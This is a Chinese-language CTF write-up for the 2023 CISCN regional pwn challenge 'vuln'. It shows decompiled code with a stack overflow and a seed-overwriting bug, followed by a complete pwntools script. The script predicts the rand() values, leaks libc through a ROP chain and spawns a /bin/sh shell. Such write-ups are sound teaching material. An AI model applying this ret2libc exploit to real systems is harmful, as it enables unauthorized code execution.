2023 ciscn 华东北分区赛 pwn vuln

2023 ciscn 华东北分区赛 pwn vuln

溢出

ssize_t gift()
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  return read(0, buf, 0x100uLL);
}

ret2libc

如下就可以实现python和c的联合编程

from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

还有一个漏洞点如下，可以利用buf覆盖到seed

  int v4; // [rsp+8h] [rbp-18h] BYREF
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  int v6; // [rsp+18h] [rbp-8h]
  unsigned int seed; // [rsp+1Ch] [rbp-4h]
  puts("Welcome to this challenge~");
  puts("You need to guess 100 random numbers, if you can guess them all, you will be rewarded with a gift!");
  puts("Please enter your name:");
  read(0, buf, 0x12uLL);
  printf("hello,%s", buf);
  puts("Let's start!");
  srand(seed);

exp

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './vuln'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

dbgg()
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
r.sendafter('Please enter your name:\n', 'a' * 0xe + '\x00\x00\x00\x00')
seed = 0
libc.srand(seed)

for i in range(100):
    v6 = libc.rand() % 100 + 1
    r.sendafter('Guess the random number:\n', chr(v6))

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x0000000000401443
main_addr = 0x401287

p1 = b'a' * (0x30 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("You are talented, here's your gift!\n", p1)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('puts_addr = ' + hex(puts_addr))

lb = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - lb.sym['puts']
li('libc_base = ' + hex(libc_base))

one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base
system_addr = libc_base + lb.sym['system']
bin_sh = libc_base + lb.search(b'/bin/sh').__next__()

r.sendafter('Please enter your name:\n', 'a' * 0xe + '\x00\x00\x00\x00')

ret = 0x000000000040101a
p2 = b'a' * (0x30 + 8) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
r.sendline(p2)

r.interactive()